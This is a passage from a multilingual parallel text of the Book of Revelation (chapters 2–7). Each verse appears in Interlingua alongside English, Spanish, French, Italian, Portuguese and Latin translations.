que l'Esprit dit aux Églises: A celui qui vaincra je donnerai de la manne cachée, et je lui donnerai un caillou blanc; et sur ce caillou est écrit un nom nouveau, que personne ne connaît, si ce n'est celui qui le reçoit.\nit: Chi ha orecchio ascolti ciò che lo Spirito dice alle chiese. A chi vince io darò della manna nascosta, e gli darò una pietruzza bianca, e sulla pietruzza scritto un nome nuovo che nessuno conosce, se non colui che lo riceve.\npt: Quem tem ouvidos, ouça o que o Espírito diz às igrejas. Ao que vencer darei do maná escondido, e lhe darei uma pedra branca, e na pedra um novo nome escrito, o qual ninguém conhece senão aquele que o recebe.\nlt: qui habet aurem audiat quid Spiritus dicat ecclesiis vincenti dabo ei manna absconditum et dabo illi calculum candidum et in calculo nomen novum scriptum quod nemo scit nisi qui accipit\nSed io ha isto contra te: que tu tolera le femina Jezabel, qui se dice prophetessa e insenia e seduce mi servos a committer fornication e mangiar cosas sacrificate al idolos.Modificar\nSed io ha isto contra te: que tu tolera le femina Jezabel, qui se dice prophetessa e insenia e seduce mi servos a committer fornication e mangiar cosas sacrificate al idolos.\nen: Notwithstanding I have a few things against thee, because thou sufferest that woman Jezebel, which calleth herself a prophetess, to teach and to seduce my servants to commit fornication, and to eat things sacrificed unto idols.\nes: Mas tengo unas pocas cosas contra ti: porque permites aquella mujer Jezabel (que se dice profetisa) enseñar, y engañar á mis siervos, á fornicar, y á comer cosas ofrecidas á los ídolos.\nfr: Mais ce que j'ai contre toi, c'est que tu laisses la femme Jézabel, qui se dit prophétesse, enseigner et séduire mes serviteurs, pour qu'ils se livrent à l'impudicité et qu'ils mangent des viandes sacrifiées aux idoles.\nit: Ma ho questo contro a te: che tu tolleri quella donna Jezabel, che si dice profetessa e insegna e seduce i miei servitori perché commettano fornicazione e mangino cose sacrificate agl'idoli.\npt: Mas tenho contra ti que toleras a mulher Jezabel, que se diz profetisa; ela ensina e seduz os meus servos a se prostituírem e a comerem das coisas sacrificdas a ídolos;\nlt: sed habeo adversus te quia permittis mulierem Hiezabel quae se dicit propheten docere et seducere servos meos fornicari et manducare de idolothytis\nMa al alteres de vos in Thyatira que non professa iste doctrina e non ha cognoscite le profunditate de Satan, io vos dice que io non vos imponera altere carga.Modificar\nMa al alteres de vos in Thyatira que non professa iste doctrina e non ha cognoscite le profunditate de Satan, io vos dice que io non vos imponera altere carga.\nen: But unto you I say, and unto the rest in Thyatira, as many as have not this doctrine, and which have not known the depths of Satan, as they speak; I will put upon you none other burden.\nes: Pero yo digo á vosotros, y á los demás que estáis en Tiatira, cualesquiera que no tienen esta doctrina, y que no han conocido las profundidades de Satanás, como dicen: Yo no enviaré sobre vosotros otra carga.\nfr: A vous, à tous les autres de Thyatire, qui ne reçoivent pas cette doctrine, et qui n'ont pas connu les profondeurs de Satan, comme ils les appellent, je vous dis: Je ne mets pas sur vous d'autre fardeau;\nit: Ma agli altri di voi in Tiatiri che non professate questa dottrina e non avete conosciuto le profondità di Satana (come le chiaman loro), io dico: Io non v'impongo altro peso.\npt: Digo-vos, porém, a vós os demais que estão em Tiatira, a todos quantos não têm esta doutrina, e não conhecem as chamadas profundezas de Satanás, que outra carga vos não porei;\nlt: vobis autem dico ceteris qui Thyatirae estis quicumque non habent doctrinam hanc qui non cognoverunt altitudines Satanae quemadmodum dicunt non mittam super vos aliud pondus\nE al angelo del ecclesia de Sardis scribe: Iste cosas dice Ille qui ha le septe Spiritos de Deo e le septe stellas: Io cognosce tu operas: tu ha nomine de vivente sed tu es morto.Modificar\nE al angelo del ecclesia de Sardis scribe: Iste cosas dice Ille qui ha le septe Spiritos de Deo e le septe stellas: Io cognosce tu operas: tu ha nomine de vivente sed tu es morto.\nen: And unto the angel of the church in Sardis write; These things saith he that hath the seven Spirits of God, and the seven stars; I know thy works, that thou hast a name that thou livest, and art dead.\nes: Y ESCRIBE al ángel de la iglesia en SARDIS: El que tiene los siete Espíritus de Dios, y las siete estrellas, dice estas cosas: Yo conozco tus obras que tienes nombre que vives, y estás muerto.\nfr: Écris à l'ange de l'Église de Sardes: Voici ce que dit celui qui a les sept esprits de Dieu et les sept étoiles: Je connais tes oeuvres. Je sais que tu passes pour être vivant, et tu es mort.\nit: E all'angelo della chiesa di Sardi scrivi: Queste cose dice colui che ha i sette Spiriti di Dio e le sette stelle: Io conosco le tue opere: tu hai nome di vivere e sei morto.\npt: Ao anjo da igreja em Sardes escreve: Isto diz aquele que tem os sete espíritos de Deus, e as estrelas: Conheço as tuas obras; tens nome de que vives, e estás morto.\nlt: et angelo ecclesiae Sardis scribe haec dicit qui habet septem spiritus Dei et septem stellas scio opera tua quia nomen habes quod vivas et mortuus es\nRecorda te dunque de quanto tu ha recipite e audite; e conserva lo, e repente te. Perque si tu non velia, io veni como un robator, e tu non sapera a qual hora io venira a te.Modificar\nRecorda te dunque de quanto tu ha recipite e audite; e conserva lo, e repente te. Perque si tu non velia, io veni como un robator, e tu non sapera a qual hora io venira a te.\nen: Remember therefore how thou hast received and heard, and hold fast, and repent. If therefore thou shalt not watch, I will come on thee as a thief, and thou shalt not know what hour I will come upon thee.\nes: Acuérdate pues de lo que has recibido y has oído, y guárdalo, y arrepiéntete. Y si no velares, vendré á ti como ladrón, y no sabrás en qué hora vendré á ti.\nfr: Rappelle-toi donc comment tu as reçu et entendu, et garde et repens-toi. Si tu ne veilles pas, je viendrai comme un voleur, et tu ne sauras pas à quelle heure je viendrai sur toi.\nit: Ricordati dunque di quanto hai ricevuto e udito; e serbalo, e ravvediti. Che se tu non vegli, io verrò come un ladro, e tu non saprai a quale ora verrò su di te.\npt: Lembra-te, portanto, do que tens recebido e ouvido, e guarda-o, e arrepende-te. Pois se não vigiares, virei como um ladrão, e não saberás a que hora sobre ti virei.\nlt: in mente ergo habe qualiter acceperis et audieris et serva et paenitentiam age si ergo non vigilaveris veniam tamquam fur et nescies qua hora veniam ad te\nE al angelo del ecclesia de Philadelphia scribe: Iste cosas dice le Sancto, le Verace, Ille qui ha le clave de David, Ille qui aperi e nemo claude, Ille qui claude e nemo aperi:Modificar\nE al angelo del ecclesia de Philadelphia scribe: Iste cosas dice le Sancto, le Verace, Ille qui ha le clave de David, Ille qui aperi e nemo claude, Ille qui claude e nemo aperi:\nen: And to the angel of the church in Philadelphia write; These things saith he that is holy, he that is true, he that hath the key of David, he that openeth, and no man shutteth; and shutteth, and no man openeth;\nes: Y escribe al ángel de la iglesia en FILADELFIA: Estas cosas dice el Santo, el Verdadero, el que tiene la llave de David, el que abre y ninguno cierra, y cierra y ninguno abre:\nfr: Écris à l'ange de l'Église de Philadelphie: Voici ce que dit le Saint, le Véritable, celui qui a la clef de David, celui qui ouvre, et personne ne fermera, celui qui ferme, et personne n'ouvrira:\nit: E all'angelo della chiesa di Filadelfia scrivi: Queste cose dice il santo, il verace, colui che ha la chiave di Davide, colui che apre e nessuno chiude, colui che chiude e nessuno apre:\npt: Ao anjo da igreja em Filadélfia escreve: Isto diz o que é santo, o que é verdadeiro, o que tem a chave de Davi; o que abre, e ninguém fecha; e fecha, e ninguém abre:\nlt: et angelo Philadelphiae ecclesiae scribe haec dicit sanctus et verus qui habet clavem David qui aperit et nemo cludit et cludit et nemo aperit\nEcce, lo que io facera a illes del synagoga de Satan, le quales dice de esser Judeos e non lo es, ma illes mente; ecce, io les facera venir a prostrar se ante tu pedes, e illes cognoscera que io te ama.Modificar\nEcce, lo que io facera a illes del synagoga de Satan, le quales dice de esser Judeos e non lo es, ma illes mente; ecce, io les facera venir a prostrar se ante tu pedes, e illes cognoscera que io te ama.\nen: Behold, I will make them of the synagogue of Satan, which say they are Jews, and are not, but do lie; behold, I will make them to come and worship before thy feet, and to know that I have loved thee.\nes: He aquí, yo doy de la sinagoga de Satanás, los que se dicen ser Judíos, y no lo son, mas mienten; he aquí, yo los constreñiré á que vengan y adoren delante de tus pies, y sepan que yo te he amado.\nfr: Voici, je te donne de ceux de la synagogue de Satan, qui se disent Juifs et ne le sont pas, mais qui mentent; voici, je les ferai venir, se prosterner à tes pieds, et connaître que je t'ai aimé.\nit: Ecco, io ti do di quelli della sinagoga di Satana, i quali dicono d'esser Giudei e non lo sono, ma mentiscono; ecco, io li farò venire a prostrarsi dinanzi ai tuoi piedi, e conosceranno ch'io t'ho amato.\npt: Eis que farei aos da sinagoga de Satanás, aos que se dizem judeus, e não o são, mas mentem, - eis que farei que venham, e adorem prostrados aos teus pés, e saibam que eu te amo.\nlt: ecce dabo de synagoga Satanae qui dicunt se Iudaeos esse et non sunt sed mentiuntur ecce faciam illos ut veniant et adorent ante pedes tuos et scient quia ego dilexi te\nQui vince io facera de ille un columna in le templo de mi Deo, e ille non exira jammais; e io scribera supra ille le nomine de mi Deo e le nomine del citate de mi Deo, le Nove Jerusalem que descende ab le celo del presentia de mi Deo, e etiam mi nove nomine.Modificar\nQui vince io facera de ille un columna in le templo de mi Deo, e ille non exira jammais; e io scribera supra ille le nomine de mi Deo e le nomine del citate de mi Deo, le Nove Jerusalem que descende ab le celo del presentia de mi Deo, e etiam mi nove nomine.\nen: Him that overcometh will I make a pillar in the temple of my God, and he shall go no more out: and I will write upon him the name of my God, and the name of the city of my God, which is new Jerusalem, which cometh down out of heaven from my God: and I will write upon him my new name.\nes: Al que venciere, yo lo haré columna en el templo de mi Dios, y nunca más saldrá fuera; y escribiré sobre Él el nombre de mi Dios, y el nombre de la ciudad de mi Dios, la nueva Jerusalem, la cual desciende del cielo de con mi Dios, y mi nombre nuevo.\nfr: Celui qui vaincra, je ferai de lui une colonne dans le temple de mon Dieu, et il n'en sortira plus; j'écrirai sur lui le nom de mon Dieu, et le nom de la ville de mon Dieu, de la nouvelle Jérusalem qui descend du ciel d'auprès de mon Dieu, et mon nom nouveau.\nit: Chi vince io lo farò una colonna nel tempio del mio Dio, ed egli non ne uscirà mai più; e scriverò su lui il nome del mio Dio e il nome della città del mio Dio, della nuova Gerusalemme che scende dal cielo d'appresso all'Iddio mio, ed il mio nuovo nome.\npt: A quem vencer, eu o farei coluna no templo do meu Deus, donde jamais sairá; e escreverei sobre ele o nome do meu Deus, e o nome da cidade do meu Deus, a nova Jerusalém, que desce do céu, da parte do meu Deus, e também o meu novo nome.\nlt: qui vicerit faciam illum columnam in templo Dei mei et foras non egredietur amplius et scribam super eum nomen Dei mei et nomen civitatis Dei mei novae Hierusalem quae descendit de caelo a Deo meo et nomen meum novum\nio te consilia de comprar ex me auro raffinate con foco, a fin que tu deveni ric; e vestes blanc, pro vestir te a fin que non appare le vergonia de tu nuditate; e collyrio pro unguer tu oculos, pro vider.Modificar\nio te consilia de comprar ex me auro raffinate con foco, a fin que tu deveni ric; e vestes blanc, pro vestir te a fin que non appare le vergonia de tu nuditate; e collyrio pro unguer tu oculos, pro vider.\nen: I counsel thee to buy of me gold tried in the fire, that thou mayest be rich; and white raiment, that thou mayest be clothed, and that the shame of thy nakedness do not appear; and anoint thine eyes with eyesalve, that thou mayest see.\nes: Yo te amonesto que de mí compres oro afinado en fuego, para que seas hecho rico, y seas vestido de vestiduras blancas, para que no se descubra la vergüenza de tu desnudez; y unge tus ojos con colirio, para que veas.\nfr: je te conseille d'acheter de moi de l'or éprouvé par le feu, afin que tu deviennes riche, et des vêtements blancs, afin que tu sois vêtu et que la honte de ta nudité ne paraisse pas, et un collyre pour oindre tes yeux, afin que tu voies.\nit: io ti consiglio di comprare da me dell'oro affinato col fuoco, affinché tu arricchisca; e delle vesti bianche, affinché tu ti vesta e non apparisca la vergogna della tua nudità; e del collirio per ungertene gli occhi, affinché tu vegga.\npt: aconselho-te que de mim compres ouro refinado no fogo, para que te enriqueças; e vestes brancas, para que te vistas, e não seja manifesta a vergonha da tua nudez; e colírio, a fim de ungires os teus olhos, para que vejas.\nlt: suadeo tibi emere a me aurum ignitum probatum ut locuples fias et vestimentis albis induaris et non appareat confusio nuditatis tuae et collyrio inungue oculos tuos ut videas\nPost iste cosas io reguardava, e ecce una porta aperite in le celo, e le prime voce que io habeva audite parlante con me con sono de trompa, me diceva: Ascende hic, e io te monstrara le cosas que debe advenir de nunc in avante.Modificar\nPost iste cosas io reguardava, e ecce una porta aperite in le celo, e le prime voce que io habeva audite parlante con me con sono de trompa, me diceva: Ascende hic, e io te monstrara le cosas que debe advenir de nunc in avante.\nen: After this I looked, and, behold, a door was opened in heaven: and the first voice which I heard was as it were of a trumpet talking with me; which said, Come up hither, and I will shew thee things which must be hereafter.\nes: DESPUÉS de estas cosas miré, y he aquí una puerta abierta en el cielo: y la primera voz que oí, era como de trompeta que hablaba conmigo, diciendo: Sube acá, y yo te mostraré las cosas que han de ser después de éstas.\nfr: Après cela, je regardai, et voici, une porte était ouverte dans le ciel. La première voix que j'avais entendue, comme le son d'une trompette, et qui me parlait, dit: Monte ici, et je te ferai voir ce qui doit arriver dans la suite.\nit: Dopo queste cose io vidi, ed ecco una porta aperta nel cielo, e la prima voce che avevo udita parlante meco a guisa di tromba, mi disse: Sali qua, e io ti mostrerò le cose che debbono avvenire da ora innanzi.\npt: Depois destas coisas, olhei, e eis que estava uma porta aberta no céu, e a primeira voz que ouvira, voz como de trombeta, falando comigo, disse: Sobe aqui, e mostrar-te-ei as coisas que depois destas devem acontecer.\nlt: post haec vidi et ecce ostium apertum in caelo et vox prima quam audivi tamquam tubae loquentis mecum dicens ascende huc et ostendam tibi quae oportet fieri post haec\nE le prime creatura vivente esseva simile a un leon, e le secunde simile a un vitello, e le tertie habeva le facie como un homine, e le quarta esseva simile a un aquila a volar.Modificar\nE le prime creatura vivente esseva simile a un leon, e le secunde simile a un vitello, e le tertie habeva le facie como un homine, e le quarta esseva simile a un aquila a volar.\nen: And the first beast was like a lion, and the second beast like a calf, and the third beast had a face as a man, and the fourth beast was like a flying eagle.\nes: Y el primer animal era semejante á un león; y el segundo animal, semejante á un becerro; y el tercer animal tenía la cara como de hombre; y el cuarto animal, semejante á un águila volando.\nfr: Le premier être vivant est semblable à un lion, le second être vivant est semblable à un veau, le troisième être vivant a la face d'un homme, et le quatrième être vivant est semblable à un aigle qui vole.\nit: E la prima creatura vivente era simile a un leone, e la seconda simile a un vitello, e la terza avea la faccia come d'un uomo, e la quarta era simile a un'aquila volante.\npt: e o primeiro ser era semelhante a um leão; o segundo ser, semelhante a um touro; tinha o terceiro ser o rosto como de homem; e o quarto ser era semelhante a uma águia voando.\nlt: et animal primum simile leoni et secundum animal simile vitulo et tertium animal habens faciem quasi hominis et quartum animal simile aquilae volanti\nE le quatro creaturas vivente habeva cata un sex alas, e illos esseva plen de oculos circum e intro, e illos non reposava jammais, die e nocte, dicente: Sancte, sancte, sancte es le Senior Deo, le Omnipotente, que esseva, que es, e que venira.Modificar\nE le quatro creaturas vivente habeva cata un sex alas, e illos esseva plen de oculos circum e intro, e illos non reposava jammais, die e nocte, dicente: Sancte, sancte, sancte es le Senior Deo, le Omnipotente, que esseva, que es, e que venira.\nen: And the four beasts had each of them six wings about him; and they were full of eyes within: and they rest not day and night, saying, Holy, holy, holy, LORD God Almighty, which was, and is, and is to come.\nes: Y los cuatro animales tenían cada uno por sí seis alas alrededor, y de dentro estaban llenos de ojos; y no tenían reposo día ni noche, diciendo: Santo, santo, santo el Señor Dios Todopoderoso, que era, y que es, y que ha de venir.\nfr: Les quatre êtres vivants ont chacun six ailes, et ils sont remplis d'yeux tout autour et au dedans. Ils ne cessent de dire jour et nuit: Saint, saint, saint est le Seigneur Dieu, le Tout Puisant, qui était, qui est, et qui vient!\nit: E le quattro creature viventi avevano ognuna sei ali, ed eran piene d'occhi all'intorno e di dentro, e non restavan mai, giorno e notte, di dire: Santo, santo, santo è il Signore Iddio, l'Onnipotente, che era, che è, e che viene.\npt: Os quatro seres viventes tinham, cada um, seis asas, e ao redor e por dentro estavam cheios de olhos; e não têm descanso nem de noite, dizendo: Santo, Santo, Santo é o Senhor Deus, o Todo-Poderoso, aquele que era, e que é, e que há de vir.\nlt: et quattuor animalia singula eorum habebant alas senas et in circuitu et intus plena sunt oculis et requiem non habent die et nocte dicentia sanctus sanctus sanctus Dominus Deus omnipotens qui erat et qui est et qui venturus est\nPostea io videva, in medio al throno e al quatro creaturas vivente e in medio al ancianos, un Agno in pede, que pareva haber essite immolate, e habeva septe cornos e septe oculos que es le septe Spiritos de Deo, inviate sur tote le terra.Modificar\nPostea io videva, in medio al throno e al quatro creaturas vivente e in medio al ancianos, un Agno in pede, que pareva haber essite immolate, e habeva septe cornos e septe oculos que es le septe Spiritos de Deo, inviate sur tote le terra.\nen: And I beheld, and, lo, in the midst of the throne and of the four beasts, and in the midst of the elders, stood a Lamb as it had been slain, having seven horns and seven eyes, which are the seven Spirits of God sent forth into all the earth.\nes: Y miré; y he aquí en medio del trono y de los cuatro animales, y en medio de los ancianos, estaba un Cordero como inmolado, que tenía siete cuernos, y siete ojos, que son los siete Espíritus de Dios enviados en toda la tierra.\nfr: Et je vis, au milieu du trône et des quatre êtres vivants et au milieu des vieillards, un agneau qui était là comme immolé. Il avait sept cornes et sept yeux, qui sont les sept esprits de Dieu envoyés par toute la terre.\nit: Poi vidi, in mezzo al trono e alle quattro creature viventi e in mezzo agli anziani, un Agnello in piedi, che pareva essere stato immolato, ed avea sette corna e sette occhi che sono i sette Spiriti di Dio, mandati per tutta la terra.\npt: Nisto vi, entre o trono e os quatro seres viventes, no meio dos anciãos, um Cordeiro em pé, como havendo sido morto, e tinha sete chifres e sete olhos, que são os sete espíritos de Deus, enviados por toda a terra.\nlt: et vidi et ecce in medio throni et quattuor animalium et in medio seniorum agnum stantem tamquam occisum habentem cornua septem et oculos septem qui sunt spiritus Dei missi in omnem terram\nE post haber prendite le libro, le quatro creaturas vivente e le vinti-quatro ancianos se prostrava ante al Agno, habente cata un de illes un cithera e cuppas de auro plen de perfumos, que es le orationes del sanctos.Modificar\nE post haber prendite le libro, le quatro creaturas vivente e le vinti-quatro ancianos se prostrava ante al Agno, habente cata un de illes un cithera e cuppas de auro plen de perfumos, que es le orationes del sanctos.\nen: And when he had taken the book, the four beasts and four and twenty elders fell down before the Lamb, having every one of them harps, and golden vials full of odours, which are the prayers of saints.\nes: Y cuando hubo tomado el libro, los cuatro animales y los veinticuatro ancianos se postraron delante del Cordero, teniendo cada uno arpas, y copas de oro llenas de perfumes, que son las oraciones de los santos:\nfr: Quand il eut pris le livre, les quatre êtres vivants et les vingt-quatre vieillards se prosternèrent devant l'agneau, tenant chacun une harpe et des coupes d'or remplies de parfums, qui sont les prières des saints.\nit: E quando ebbe preso il libro, le quattro creature viventi e i ventiquattro anziani si prostrarono davanti all'Agnello, avendo ciascuno una cetra e delle coppe d'oro piene di profumi, che sono le preghiere dei santi.\npt: Logo que tomou o livro, os quatro seres viventes e os vinte e quatro anciãos prostraram-se diante do Cordeiro, tendo cada um deles uma harpa e taças de ouro cheias de incenso, que são as orações dos santos.\nlt: et cum aperuisset librum quattuor animalia et viginti quattuor seniores ceciderunt coram agno habentes singuli citharas et fialas aureas plenas odoramentorum quae sunt orationes sanctorum\nE illes cantava un nove cantico, dicente: Tu es digne de prender le libro e de aperir le sigillos, perque tu ha essite immolate e tu ha comprate pro Deo, con tu sanguine, gente de omne tribo e lingua e populo e nation,Modificar\nE illes cantava un nove cantico, dicente: Tu es digne de prender le libro e de aperir le sigillos, perque tu ha essite immolate e tu ha comprate pro Deo, con tu sanguine, gente de omne tribo e lingua e populo e nation,\nen: And they sung a new song, saying, Thou art worthy to take the book, and to open the seals thereof: for thou wast slain, and hast redeemed us to God by thy blood out of every kindred, and tongue, and people, and nation;\nes: Y cantaban un nuevo cántico, diciendo: Digno eres de tomar el libro, y de abrir sus sellos; porque tú fuiste inmolado, y nos has redimido para Dios con tu sangre, de todo linaje y lengua y pueblo y nación;\nfr: Et ils chantaient un cantique nouveau, en disant: Tu es digne de prendre le livre, et d'en ouvrir les sceaux; car tu as été immolé, et tu as racheté pour Dieu par ton sang des hommes de toute tribu, de toute langue, de tout peuple, et de toute nation;\nit: E cantavano un nuovo cantico, dicendo: Tu sei degno di prendere il libro e d'aprirne i suggelli, perché sei stato immolato e hai comprato a Dio, col tuo sangue, gente d'ogni tribù e lingua e popolo e nazione,\npt: E cantavam um cântico novo, dizendo: Digno és de tomar o livro, e de abrir os seus selos; porque foste morto, e com o teu sangue compraste para Deus homens de toda tribo, e língua, e povo e nação;\nlt: et cantant novum canticum dicentes dignus es accipere librum et aperire signacula eius quoniam occisus es et redemisti nos Deo in sanguine tuo ex omni tribu et lingua et populo et natione\nE io videva, e audiva voces de multe angelos circum al throno e al creaturas vivente e al ancianos; e lor numero esseva de myriades de myriades, e de milles de milles,Modificar\nE io videva, e audiva voces de multe angelos circum al throno e al creaturas vivente e al ancianos; e lor numero esseva de myriades de myriades, e de milles de milles,\nen: And I beheld, and I heard the voice of many angels round about the throne and the beasts and the elders: and the number of them was ten thousand times ten thousand, and thousands of thousands;\nes: Y miré, y oí voz de muchos ángeles alrededor del trono, y de los animales, y de los ancianos; y la multitud de ellos era millones de millones,\nfr: Je regardai, et j'entendis la voix de beaucoup d'anges autour du trône et des êtres vivants et des vieillards, et leur nombre était des myriades de myriades et des milliers de milliers.\nit: E vidi, e udii una voce di molti angeli attorno al trono e alle creature viventi e agli anziani; e il numero loro era di miriadi di miriadi, e di migliaia di migliaia,\npt: E olhei, e vi a voz de muitos anjos ao redor do trono e dos seres viventes e dos anciãos; e o número deles era miríades de miríades; e o número deles era miríades de miríades e milhares de milhares,\nlt: et vidi et audivi vocem angelorum multorum in circuitu throni et animalium et seniorum et erat numerus eorum milia milium\nE tote le creaturas que es in celo e sur le terra e sub le terra e sur mar e tote le cosas que es in illos, io les audiva que diceva: A Ille qui sede sur throno e al Agno sia le benediction e le honor e le gloria e le dominio, in le seculos del seculos.Modificar\nE tote le creaturas que es in celo e sur le terra e sub le terra e sur mar e tote le cosas que es in illos, io les audiva que diceva: A Ille qui sede sur throno e al Agno sia le benediction e le honor e le gloria e le dominio, in le seculos del seculos.\nen: And every creature which is in heaven, and on the earth, and under the earth, and such as are in the sea, and all that are in them, heard I saying, Blessing, and honour, and glory, and power, be unto him that sitteth upon the throne, and unto the Lamb for ever and ever.\nes: Y oí á toda criatura que está en el cielo, y sobre la tierra, y debajo de la tierra, y que está en el mar, y todas las cosas que en ellos están, diciendo: Al que está sentado en el trono, y al Cordero, sea la bendición, y la honra, y la gloria, y el poder, para siempre jamás.\nfr: Et toutes les créatures qui sont dans le ciel, sur la terre, sous la terre, sur la mer, et tout ce qui s'y trouve, je les entendis qui disaient: A celui qui est assis sur le trône, et à l'agneau, soient la louange, l'honneur, la gloire, et la force, aux siècles des siècles!\nit: E tutte le creature che sono nel cielo e sulla terra e sotto la terra e sul mare e tutte le cose che sono in essi, le udii che dicevano: A Colui che siede sul trono e all'Agnello siano la benedizione e l'onore e la gloria e l'imperio, nei secoli dei secoli.\npt: Ouvi também a toda criatura que está no céu, e na terra, e debaixo da terra, e no mar, e a todas as coisas que neles há, dizerem: Ao que está assentado sobre o trono, e ao Cordeiro, seja o louvor, e a honra, e a glória, e o domínio pelos séculos dos séculos:\nlt: et omnem creaturam quae in caelo est et super terram et sub terram et quae sunt in mari et quae in ea omnes audivi dicentes sedenti in throno et agno benedictio et honor et gloria et potestas in saecula saeculorum\nE exiva un altere cavallo, rubie; e a qui lo cavalcava esseva date le poter de levar le pace ex le terra a fin que le homines se occideva le unes al alteres, e le esseva date un grande spada.Modificar\nE exiva un altere cavallo, rubie; e a qui lo cavalcava esseva date le poter de levar le pace ex le terra a fin que le homines se occideva le unes al alteres, e le esseva date un grande spada.\nen: And there went out another horse that was red: and power was given to him that sat thereon to take peace from the earth, and that they should kill one another: and there was given unto him a great sword.\nes: Y salió otro caballo bermejo: y al que estaba sentado sobre Él, fué dado poder de quitar la paz de la tierra, y que se maten unos á otros: y fuéle dada una grande espada.\nfr: Et il sortit un autre cheval, roux. Celui qui le montait reçut le pouvoir d'enlever la paix de la terre, afin que les hommes s'égorgeassent les uns les autres; et une grande épée lui fut donnée.\nit: E uscì fuori un altro cavallo, rosso; e a colui che lo cavalcava fu dato di toglier la pace dalla terra affinché gli uomini si uccidessero gli uni gli altri, e gli fu data una grande spada.\npt: E saiu outro cavalo, um cavalo vermelho; e ao que estava montado nele foi dado que tirasse a paz da terra, de modo que os homens se matassem uns aos outros; e foi-lhe dada uma grande espada.\nlt: et exivit alius equus rufus et qui sedebat super illum datum est ei ut sumeret pacem de terra et ut invicem se interficiant et datus est illi gladius magnus\nE io videva, e ecce un cavallo jalne; e qui lo cavalcava habeva per nomine Morte; e le sequeva le inferno. E le esseva date potestate super le quarte parte del terra pro occider con le spada, con le fame, con le mortalitate e con le bestias del terra.Modificar\nE io videva, e ecce un cavallo jalne; e qui lo cavalcava habeva per nomine Morte; e le sequeva le inferno. E le esseva date potestate super le quarte parte del terra pro occider con le spada, con le fame, con le mortalitate e con le bestias del terra.\nen: And I looked, and behold a pale horse: and his name that sat on him was Death, and Hell followed with him. And power was given unto them over the fourth part of the earth, to kill with sword, and with hunger, and with death, and with the beasts of the earth.\nes: Y miré, y he aquí un caballo amarillo: y el que estaba sentado sobre Él tenía por nombre Muerte; y el infierno le seguía: y le fué dada potestad sobre la cuarta parte de la tierra, para matar con espada, con hambre, con mortandad, y con las bestias de la tierra.\nfr: Je regardai, et voici, parut un cheval d'une couleur pâle. Celui qui le montait se nommait la mort, et le séjour des morts l'accompagnait. Le pouvoir leur fut donné sur le quart de la terre, pour faire périr les hommes par l'épée, par la famine, par la mortalité, et par les bêtes sauvages de la terre.\nit: E io vidi, ed ecco un cavallo giallastro; e colui che lo cavalcava avea nome la Morte; e gli teneva dietro l'Ades. E fu loro data potestà sopra la quarta parte della terra di uccidere con la spada, con la fame, con la mortalità e con le fiere della terra.\npt: E olhei, e eis um cavalo amarelo, e o que estava montado nele chamava-se Morte; e o hades seguia com ele; e foi-lhe dada autoridade sobre a quarta parte da terra, para matar com a espada, e com a fome, e com a peste, e com as feras da terra.\nlt: et ecce equus pallidus et qui sedebat desuper nomen illi Mors et inferus sequebatur eum et data est illi potestas super quattuor partes terrae interficere gladio fame et morte et bestiis terrae\nE a cata un de illes esseva date un veste blanc e les esseva dicite de reposar se ancora un pauc de tempore, usque esseva completate le numero de lor conservos e de lor fratres, qui debeva esser occidite como illes.Modificar\nE a cata un de illes esseva date un veste blanc e les esseva dicite de reposar se ancora un pauc de tempore, usque esseva completate le numero de lor conservos e de lor fratres, qui debeva esser occidite como illes.\nen: And white robes were given unto every one of them; and it was said unto them, that they should rest yet for a little season, until their fellowservants also and their brethren, that should be killed as they were, should be fulfilled.\nes: Y les fueron dadas sendas ropas blancas, y fuéles dicho que reposasen todavía un poco de tiempo, hasta que se completaran sus consiervos y sus hermanos, que también habían de ser muertos como ellos.\nfr: Une robe blanche fut donnée à chacun d'eux; et il leur fut dit de se tenir en repos quelque temps encore, jusqu'à ce que fût complet le nombre de leurs compagnons de service et de leurs frères qui devaient être mis à mort comme eux.\nit: E a ciascun d'essi fu data una veste bianca e fu loro detto che si riposassero ancora un po' di tempo, finché fosse completo il numero dei loro conservi e dei loro fratelli, che hanno ad essere uccisi come loro.\npt: E foram dadas a cada um deles compridas vestes brancas e foi-lhes dito que repousassem ainda por um pouco de tempo, até que se completasse o número de seus conservos, que haviam de ser mortos, como também eles o foram.\nlt: et datae sunt illis singulae stolae albae et dictum est illis ut requiescerent tempus adhuc modicum donec impleantur conservi eorum et fratres eorum qui interficiendi sunt sicut et illi\nE le reges del terra e le grandes e le capitanos e le riccos e le potentes e omne homine servo e omne homine libere se occultava in le cavernas e in le roccas del montanias;Modificar\nE le reges del terra e le grandes e le capitanos e le riccos e le potentes e omne homine servo e omne homine libere se occultava in le cavernas e in le roccas del montanias;\nen: And the kings of the earth, and the great men, and the rich men, and the chief captains, and the mighty men, and every bondman, and every free man, hid themselves in the dens and in the rocks of the mountains;\nes: Y los reyes de la tierra, y los príncipes, y los ricos, y los capitanes, y los fuertes, y todo siervo y todo libre, se escondieron en las cuevas y entre las peñas de los montes;\nfr: Les rois de la terre, les grands, les chefs militaires, les riches, les puissants, tous les esclaves et les hommes libres, se cachèrent dans les cavernes et dans les rochers des montagnes.\nit: E i re della terra e i grandi e i capitani e i ricchi e i potenti e ogni servo e ogni libero si nascosero nelle spelonche e nelle rocce dei monti;\npt: E os reis da terra, e os grandes, e os chefes militares, e os ricos, e os poderosos, e todo escravo, e todo livre, se esconderam nas cavernas e nas rochas das montanhas;\nlt: et reges terrae et principes et tribuni et divites et fortes et omnis servus et liber absconderunt se in speluncis et petris montium\nPost isto, io videva quatro angelos in pede al quatro angulos del terra, retenente le quatro ventos del terra a fin que non sufflava alicun vento sur le terra, ni sur mar, ni sur alicun arbore.Modificar\nPost isto, io videva quatro angelos in pede al quatro angulos del terra, retenente le quatro ventos del terra a fin que non sufflava alicun vento sur le terra, ni sur mar, ni sur alicun arbore.\nen: And after these things I saw four angels standing on the four corners of the earth, holding the four winds of the earth, that the wind should not blow on the earth, nor on the sea, nor on any tree.\nes: Y DESPUÉS de estas cosas vi cuatro ángeles que estaban sobre los cuatro ángulos de la tierra, deteniendo los cuatro vientos de la tierra, para que no soplase viento sobre la tierra, ni sobre la mar, ni sobre ningún árbol.\nfr: Après cela, je vis quatre anges debout aux quatre coins de la terre; ils retenaient les quatre vents de la terre, afin qu'il ne soufflât point de vent sur la terre, ni sur la mer, ni sur aucun arbre.\nit: Dopo questo, io vidi quattro angeli che stavano in piè ai quattro canti della terra, ritenendo i quattro venti della terra affinché non soffiasse vento alcuno sulla terra, né sopra il mare, né sopra alcun albero.\npt: Depois disto vi quatro anjos em pé nos quatro cantos da terra, retendo os quatro ventos da terra, para que nenhum vento soprasse sobre a terra, nem sobre o mar, nem contra árvore alguma.\nlt: post haec vidi quattuor angelos 